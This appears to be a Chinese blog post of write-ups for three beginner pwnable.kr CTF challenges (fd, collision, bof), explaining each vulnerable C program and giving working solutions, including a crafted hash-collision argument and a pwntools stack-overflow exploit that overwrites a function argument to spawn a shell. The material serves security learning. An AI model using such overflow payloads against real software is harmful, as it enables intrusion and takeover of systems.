pwnable入门题笔记
fd
ssh连上
找到fd的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]) { if(argc<2) { printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf)) { printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; } |
首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag
read函数
1 |
ssize_t read(int fd,void * buf ,size_t count); |
read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。
linux文件描述符
Integer value | <stdio.h> file stream |
---|---|
0 | stdin |
1 | stdout |
2 | stderr |
也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了
又因为
1 |
int fd = atoi( argv[1] ) - 0x1234; |
所以我们令fd=0x1234的10进制4660然后键入LETMEWIN
collision
先看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; } |
分析源码,首先输入长度为20的字符然后与关键函数check_password比较
1 2 3 4 5 6 7 8 9 |
unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } |
p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节)
然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中
最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下
1 2 |
>>> hex(0x21dd09ec-0x01010101*4) '0x1dd905e8' |
注意下是小端模式
1 |
./col $(python -c "print'\xE8\x05\xD9\x1D'+'\x01'*16") |
bof
给的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key) { char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe) { system("/bin/sh"); } else { printf("Nah..\n"); } } int main(int argc, char* argv[]) { func(0xdeadbeef); return 0; } |
key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef
又看到gets 可以溢出
IDA打开编译好的c
发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe
这里盗个图方便理解
所以EXP为
1 2 3 4 |
from pwn import * p = remote('pwnable.kr',9000) p.send('A'*52+'\xbe\xba\xfe\xca') p.interactive() |
拿到flag
近期评论